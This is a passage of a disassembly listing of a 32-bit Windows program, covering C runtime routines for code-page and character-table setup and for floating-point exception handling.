		jz	short loc_424719
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_424719:				; CODE XREF: sub_42465E+AAj
					; sub_42465E+B2j
		mov	esi, [esi+24h]
		mov	eax, ds:off_433A84
		cmp	esi, [eax+24h]
		jz	short loc_424735
		cmp	esi, ds:off_433A78
		jz	short loc_424735
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_424735:				; CODE XREF: sub_42465E+7j
					; sub_42465E+C6j ...
		pop	esi
		retn
sub_42465E	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_424754:				; CODE XREF: .text:00424761j
		mov	al, [edx]
		or	al, al
		jz	short loc_424763
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_424754
; ---------------------------------------------------------------------------

loc_424763:				; CODE XREF: .text:00424758j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]

loc_42476C:				; CODE XREF: .text:0042477Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_42477E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_42476C

loc_42477E:				; CODE XREF: .text:00424773j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_4247A4:				; CODE XREF: .text:004247B1j
		mov	al, [edx]
		or	al, al
		jz	short loc_4247B3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_4247A4
; ---------------------------------------------------------------------------

loc_4247B3:				; CODE XREF: .text:004247A8j
		mov	esi, [ebp+8]
		mov	edi, edi

loc_4247B8:				; CODE XREF: .text:004247C5j
		mov	al, [esi]
		or	al, al
		jz	short loc_4247CA
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_4247B8
		lea	eax, [esi-1]

loc_4247CA:				; CODE XREF: .text:004247BCj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4247D0	proc near		; CODE XREF: sub_424A23+FCp
					; sub_424A23+146p
		sub	eax, 3A4h
		jz	short loc_4247F9
		sub	eax, 4
		jz	short loc_4247F3
		sub	eax, 0Dh
		jz	short loc_4247ED
		dec	eax
		jz	short loc_4247E7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4247E7:				; CODE XREF: sub_4247D0+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4247ED:				; CODE XREF: sub_4247D0+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4247F3:				; CODE XREF: sub_4247D0+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4247F9:				; CODE XREF: sub_4247D0+5j
		mov	eax, 411h
		retn
sub_4247D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247FF	proc near		; CODE XREF: sub_424A23:loc_424B95p
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_438220
		rep stosd
		stosb
		xor	eax, eax
		mov	ds:dword_438324, eax
		mov	ds:dword_438208, eax
		mov	ds:dword_438200, eax
		mov	edi, offset word_438330
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4247FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424828	proc near		; CODE XREF: sub_424A23:loc_424B9Ap

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_18]
		push	eax
		push	ds:dword_438324
		call	ds:dword_429030	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_424965
		xor	eax, eax

loc_42485A:				; CODE XREF: sub_424828+3Cj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_42485A
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_4248AA
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi

loc_424879:				; CODE XREF: sub_424828+7Ej
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4248A0
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_4248A0:				; CODE XREF: sub_424828+59j
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_424879
		pop	edi
		pop	ebx

loc_4248AA:				; CODE XREF: sub_424828+4Aj
		push	0
		push	ds:dword_438200
		lea	eax, [ebp+var_518]
		push	ds:dword_438324
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_4242B5
		push	0
		push	ds:dword_438324
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	ds:dword_438200
		call	sub_421354
		push	0
		push	ds:dword_438324
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	ds:dword_438200
		call	sub_421354
		add	esp, 5Ch
		xor	eax, eax

loc_42491F:				; CODE XREF: sub_424828+139j
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_424942
		or	ds:byte_438221[eax], 10h
		mov	cl, [ebp+eax+var_218]

loc_42493A:				; CODE XREF: sub_424828+12Dj
		mov	ds:byte_438340[eax], cl
		jmp	short loc_42495E
; ---------------------------------------------------------------------------

loc_424942:				; CODE XREF: sub_424828+102j
		test	cl, 2
		jz	short loc_424957
		or	ds:byte_438221[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_42493A
; ---------------------------------------------------------------------------

loc_424957:				; CODE XREF: sub_424828+11Dj
		mov	ds:byte_438340[eax], 0

loc_42495E:				; CODE XREF: sub_424828+118j
		inc	eax
		cmp	eax, esi
		jb	short loc_42491F
		jmp	short loc_4249A9
; ---------------------------------------------------------------------------

loc_424965:				; CODE XREF: sub_424828+2Aj
		xor	eax, eax

loc_424967:				; CODE XREF: sub_424828+17Fj
		cmp	eax, 41h
		jb	short loc_424985
		cmp	eax, 5Ah
		ja	short loc_424985
		or	ds:byte_438221[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42497D:				; CODE XREF: sub_424828+173j
		mov	ds:byte_438340[eax], cl
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_424985:				; CODE XREF: sub_424828+142j
					; sub_424828+147j
		cmp	eax, 61h
		jb	short loc_42499D
		cmp	eax, 7Ah
		ja	short loc_42499D
		or	ds:byte_438221[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42497D
; ---------------------------------------------------------------------------

loc_42499D:				; CODE XREF: sub_424828+160j
					; sub_424828+165j
		mov	ds:byte_438340[eax], 0

loc_4249A4:				; CODE XREF: sub_424828+15Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_424967

loc_4249A9:				; CODE XREF: sub_424828+13Bj
		mov	ecx, [ebp+var_4]
		pop	esi
		call	sub_41E5BB
		leave
		retn
sub_424828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249B4	proc near		; CODE XREF: sub_421A4C+16p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_42A7E0
		call	__SEH_prolog
		push	0Dh
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_4203B6
		mov	edi, eax
		mov	[ebp+var_20], edi
		mov	esi, [edi+60h]
		mov	[ebp+var_1C], esi
		cmp	esi, ds:dword_438204
		jz	short loc_424A06
		test	esi, esi
		jz	short loc_4249F3
		dec	dword ptr [esi]
		jnz	short loc_4249F3
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_4249F3:				; CODE XREF: sub_4249B4+32j
					; sub_4249B4+36j
		mov	eax, ds:dword_438204
		mov	[edi+60h], eax
		mov	esi, ds:dword_438204
		mov	[ebp+var_1C], esi
		inc	dword ptr [esi]

loc_424A06:				; CODE XREF: sub_4249B4+2Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_424A1A
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_4249B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A17	proc near		; DATA XREF: .text:stru_42A7E0o
		mov	esi, [ebp-1Ch]
sub_424A17	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424A1A	proc near		; CODE XREF: sub_4249B4+56p
		push	0Dh
		call	sub_41E8CE
		pop	ecx
		retn
sub_424A1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A23	proc near		; CODE XREF: sub_424BB3+9Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_4], eax
		push	edi
		jz	loc_424B95
		xor	edx, edx
		xor	eax, eax

loc_424A45:				; CODE XREF: sub_424A23+33j
		cmp	ds:dword_433AB8[eax], esi
		jz	short loc_424AB2
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_424A45
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_429030	; GetCPInfo
		cmp	eax, 1
		jnz	loc_424B8D
		push	40h
		xor	eax, eax
		cmp	[ebp+var_18], 1
		pop	ecx
		mov	edi, offset byte_438220
		rep stosd
		stosb
		mov	ds:dword_438324, esi
		mov	ds:dword_438200, ebx
		jbe	loc_424B7B
		cmp	[ebp+var_12], 0
		jz	loc_424B53
		lea	ecx, [ebp+var_11]

loc_424A9C:				; CODE XREF: sub_424A23+12Aj
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_424B53
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_424B43
; ---------------------------------------------------------------------------

loc_424AB2:				; CODE XREF: sub_424A23+28j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_438220
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_1C], ebx
		stosb
		lea	ebx, dword_433AC8[ecx]

loc_424ACE:				; CODE XREF: sub_424A23+E8j
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_424AFD
; ---------------------------------------------------------------------------

loc_424AD4:				; CODE XREF: sub_424A23+DCj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_424B01
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_424AF9
		mov	edx, [ebp+var_1C]
		mov	dl, ds:byte_433AB0[edx]

loc_424AEE:				; CODE XREF: sub_424A23+D4j
		or	ds:byte_438221[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_424AEE

loc_424AF9:				; CODE XREF: sub_424A23+C0j
		inc	esi
		inc	esi
		mov	al, [esi]

loc_424AFD:				; CODE XREF: sub_424A23+AFj
		test	al, al
		jnz	short loc_424AD4

loc_424B01:				; CODE XREF: sub_424A23+B6j
		inc	[ebp+var_1C]
		add	ebx, 8
		cmp	[ebp+var_1C], 4
		jb	short loc_424ACE
		mov	eax, [ebp+arg_0]
		mov	ds:dword_438324, eax
		mov	ds:dword_438208, 1
		call	sub_4247D0
		lea	ecx, dword_433ABC[ecx]
		mov	esi, ecx
		mov	edi, offset word_438330
		movsd
		movsd
		mov	ds:dword_438200, eax
		movsd
		jmp	short loc_424B9A
; ---------------------------------------------------------------------------

loc_424B3B:				; CODE XREF: sub_424A23+122j
		or	ds:byte_438221[eax], 4
		inc	eax

loc_424B43:				; CODE XREF: sub_424A23+8Aj
		cmp	eax, edx
		jbe	short loc_424B3B
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_424A9C

loc_424B53:				; CODE XREF: sub_424A23+70j
					; sub_424A23+7Dj
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx

loc_424B58:				; CODE XREF: sub_424A23+142j
		or	ds:byte_438221[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_424B58
		mov	eax, esi
		call	sub_4247D0
		mov	ds:dword_438200, eax
		mov	ds:dword_438208, ecx
		jmp	short loc_424B81
; ---------------------------------------------------------------------------

loc_424B7B:				; CODE XREF: sub_424A23+66j
		mov	ds:dword_438208, ebx

loc_424B81:				; CODE XREF: sub_424A23+156j
		xor	eax, eax
		mov	edi, offset word_438330
		stosd
		stosd
		stosd
		jmp	short loc_424B9A
; ---------------------------------------------------------------------------

loc_424B8D:				; CODE XREF: sub_424A23+43j
		cmp	ds:dword_4358C0, ebx
		jz	short loc_424BA3

loc_424B95:				; CODE XREF: sub_424A23+18j
		call	sub_4247FF

loc_424B9A:				; CODE XREF: sub_424A23+116j
					; sub_424A23+168j
		call	sub_424828
		xor	eax, eax
		jmp	short loc_424BA6
; ---------------------------------------------------------------------------

loc_424BA3:				; CODE XREF: sub_424A23+170j
		or	eax, 0FFFFFFFFh

loc_424BA6:				; CODE XREF: sub_424A23+17Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_424A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BB3	proc near		; CODE XREF: sub_424D03+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	14h
		push	offset stru_42A7F0
		call	__SEH_prolog
		or	[ebp+var_20], 0FFFFFFFFh
		push	0Dh
		call	sub_41E983
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	ds:dword_4358C0, edi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_424BF0
		mov	ds:dword_4358C0, 1
		call	ds:dword_42902C	; GetOEMCP
		jmp	short loc_424C1B
; ---------------------------------------------------------------------------

loc_424BF0:				; CODE XREF: sub_424BB3+29j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_424C07
		mov	ds:dword_4358C0, 1
		call	ds:dword_429088	; GetACP
		jmp	short loc_424C1B
; ---------------------------------------------------------------------------

loc_424C07:				; CODE XREF: sub_424BB3+40j
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_424C1B
		mov	ds:dword_4358C0, 1
		mov	eax, ds:dword_435894

loc_424C1B:				; CODE XREF: sub_424BB3+3Bj
					; sub_424BB3+52j ...
		mov	[ebp+arg_0], eax
		cmp	eax, ds:dword_438324
		jz	loc_424CE5
		mov	esi, ds:dword_438204
		mov	[ebp+var_24], esi
		cmp	esi, edi
		jz	short loc_424C3B
		cmp	[esi], edi
		jz	short loc_424C4B

loc_424C3B:				; CODE XREF: sub_424BB3+82j
		push	220h
		call	sub_41D0C4
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_24], esi

loc_424C4B:				; CODE XREF: sub_424BB3+86j
		cmp	esi, edi
		jz	short loc_424CCE
		push	[ebp+arg_0]
		call	sub_424A23
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jnz	short loc_424CCE
		mov	[esi], edi
		mov	eax, ds:dword_438324
		mov	[esi+4], eax
		mov	eax, ds:dword_438208
		mov	[esi+8], eax
		mov	eax, ds:dword_438200
		mov	[esi+0Ch], eax
		xor	eax, eax

loc_424C7B:				; CODE XREF: sub_424BB3+DEj
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_424C93
		mov	cx, ds:word_438330[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_424C7B
; ---------------------------------------------------------------------------

loc_424C93:				; CODE XREF: sub_424BB3+CEj
		xor	eax, eax

loc_424C95:				; CODE XREF: sub_424BB3+F7j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_424CAC
		mov	cl, ds:byte_438220[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_424C95
; ---------------------------------------------------------------------------

loc_424CAC:				; CODE XREF: sub_424BB3+EAj
		xor	eax, eax

loc_424CAE:				; CODE XREF: sub_424BB3+113j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_424CC8
		mov	cl, ds:byte_438340[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_424CAE
; ---------------------------------------------------------------------------

loc_424CC8:				; CODE XREF: sub_424BB3+103j
		mov	ds:dword_438204, esi

loc_424CCE:				; CODE XREF: sub_424BB3+9Aj
					; sub_424BB3+AAj
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_424CE8
		cmp	esi, ds:dword_438204
		jz	short loc_424CE8
		push	esi
		call	sub_41C2DD
		pop	ecx
		jmp	short loc_424CE8
; ---------------------------------------------------------------------------

loc_424CE5:				; CODE XREF: sub_424BB3+71j
		mov	[ebp+var_20], edi

loc_424CE8:				; CODE XREF: sub_424BB3+11Fj
					; sub_424BB3+127j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_424CFA
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_424BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFA	proc near		; CODE XREF: sub_424BB3+139p
					; DATA XREF: .text:stru_42A7F0o
		push	0Dh
		call	sub_41E8CE
		pop	ecx
		retn
sub_424CFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D03	proc near		; CODE XREF: sub_42266B+Cp
					; sub_4226C8+Dp ...
		cmp	ds:dword_439598, 0
		jnz	short loc_424D1E
		push	0FFFFFFFDh
		call	sub_424BB3
		pop	ecx
		mov	ds:dword_439598, 1

loc_424D1E:				; CODE XREF: sub_424D03+7j
		xor	eax, eax
		retn
sub_424D03	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D21	proc near		; CODE XREF: sub_42068C+11Ap
					; sub_42068C+1D5p ...
		xor	eax, eax
		retn
sub_424D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D24	proc near		; CODE XREF: sub_425333+4Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		push	esi
		inc	ebx
		test	cl, 10h
		push	edi
		jz	short loc_424D56
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh

loc_424D56:				; CODE XREF: sub_424D24+23j
		test	cl, 2
		jz	short loc_424D69
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h

loc_424D69:				; CODE XREF: sub_424D24+35j
		test	cl, bl
		jz	short loc_424D7B
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h

loc_424D7B:				; CODE XREF: sub_424D24+47j
		test	cl, 4
		jz	short loc_424D8E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh

loc_424D8E:				; CODE XREF: sub_424D24+5Aj
		test	cl, 8
		jz	short loc_424DA1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h

loc_424DA1:				; CODE XREF: sub_424D24+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		push	2
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		pop	edi
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, edi
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_42553D
		test	al, bl
		jz	short loc_424E12
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_424E12:				; CODE XREF: sub_424D24+E5j
		test	al, 4
		jz	short loc_424E1D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_424E1D:				; CODE XREF: sub_424D24+F0j
		test	al, 8
		jz	short loc_424E28
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_424E28:				; CODE XREF: sub_424D24+FBj
		test	al, 10h
		jz	short loc_424E32
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_424E32:				; CODE XREF: sub_424D24+106j
		test	al, 20h
		jz	short loc_424E3C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_424E3C:				; CODE XREF: sub_424D24+110j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_424E7B
		cmp	eax, 400h
		jz	short loc_424E6D
		cmp	eax, 800h
		jz	short loc_424E61
		cmp	eax, ecx
		jnz	short loc_424E81
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_424E81
; ---------------------------------------------------------------------------

loc_424E61:				; CODE XREF: sub_424D24+12Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_424E77
; ---------------------------------------------------------------------------

loc_424E6D:				; CODE XREF: sub_424D24+128j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_424E77:				; CODE XREF: sub_424D24+147j
		mov	[eax], ecx
		jmp	short loc_424E81
; ---------------------------------------------------------------------------

loc_424E7B:				; CODE XREF: sub_424D24+121j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_424E81:				; CODE XREF: sub_424D24+133j
					; sub_424D24+13Bj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_424EAC
		cmp	eax, 200h
		jz	short loc_424E9F
		cmp	eax, ecx
		jnz	short loc_424EB9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_424EB9
; ---------------------------------------------------------------------------

loc_424E9F:				; CODE XREF: sub_424D24+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_424EB7
; ---------------------------------------------------------------------------

loc_424EAC:				; CODE XREF: sub_424D24+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_424EB7:				; CODE XREF: sub_424D24+186j
		mov	[eax], ecx

loc_424EB9:				; CODE XREF: sub_424D24+171j
					; sub_424D24+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]
		call	sub_425548
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_42908C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_424F2B
		and	dword ptr [esi], 0FFFFFFFEh

loc_424F2B:				; CODE XREF: sub_424D24+202j
		test	byte ptr [eax+8], 8
		jz	short loc_424F34
		and	dword ptr [esi], 0FFFFFFFBh

loc_424F34:				; CODE XREF: sub_424D24+20Bj
		test	byte ptr [eax+8], 4
		jz	short loc_424F3D
		and	dword ptr [esi], 0FFFFFFF7h

loc_424F3D:				; CODE XREF: sub_424D24+214j
		test	byte ptr [eax+8], 2
		jz	short loc_424F46
		and	dword ptr [esi], 0FFFFFFEFh

loc_424F46:				; CODE XREF: sub_424D24+21Dj
		test	[eax+8], bl
		jz	short loc_424F4E
		and	dword ptr [esi], 0FFFFFFDFh

loc_424F4E:				; CODE XREF: sub_424D24+225j
		mov	ecx, [eax]
		and	ecx, 3
		sub	ecx, 0
		mov	edx, 0FFFFF3FFh
		jz	short loc_424F8E
		dec	ecx
		jz	short loc_424F7C
		dec	ecx
		jz	short loc_424F6C
		dec	ecx
		jnz	short loc_424F90
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_424F90
; ---------------------------------------------------------------------------

loc_424F6C:				; CODE XREF: sub_424D24+23Dj
		mov	ecx, [esi]
		and	ecx, 0FFFFFBFFh
		or	ecx, 800h
		jmp	short loc_424F8A
; ---------------------------------------------------------------------------

loc_424F7C:				; CODE XREF: sub_424D24+23Aj
		mov	ecx, [esi]
		and	ecx, 0FFFFF7FFh
		or	ecx, 400h

loc_424F8A:				; CODE XREF: sub_424D24+256j
		mov	[esi], ecx
		jmp	short loc_424F90
; ---------------------------------------------------------------------------

loc_424F8E:				; CODE XREF: sub_424D24+237j
		and	[esi], edx

loc_424F90:				; CODE XREF: sub_424D24+240j
					; sub_424D24+246j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_424FB3
		dec	ecx
		jz	short loc_424FA7
		dec	ecx
		jnz	short loc_424FBF
		and	[esi], edx
		jmp	short loc_424FBF
; ---------------------------------------------------------------------------

loc_424FA7:				; CODE XREF: sub_424D24+27Aj
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 200h
		jmp	short loc_424FBD
; ---------------------------------------------------------------------------

loc_424FB3:				; CODE XREF: sub_424D24+277j
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 300h

loc_424FBD:				; CODE XREF: sub_424D24+28Dj
		mov	[esi], ecx

loc_424FBF:				; CODE XREF: sub_424D24+27Dj
					; sub_424D24+281j
		fld	qword ptr [eax+50h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424FC9	proc near		; CODE XREF: sub_425333+22p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_424FF7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_424FF7
		push	ebx
		call	sub_425578
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_4251CB
; ---------------------------------------------------------------------------

loc_424FF7:				; CODE XREF: sub_424FC9+18j
					; sub_424FC9+1Dj
		test	al, 4
		jz	short loc_425011
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_425011
		push	4
		call	sub_425578
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_4251CB
; ---------------------------------------------------------------------------

loc_425011:				; CODE XREF: sub_424FC9+30j
					; sub_424FC9+36j
		test	al, bl
		jz	loc_4250F1
		test	byte ptr [ebp+arg_8], 8
		jz	loc_4250F1
		push	8
		call	sub_425578
		mov	eax, [ebp+arg_8]
		pop	ecx
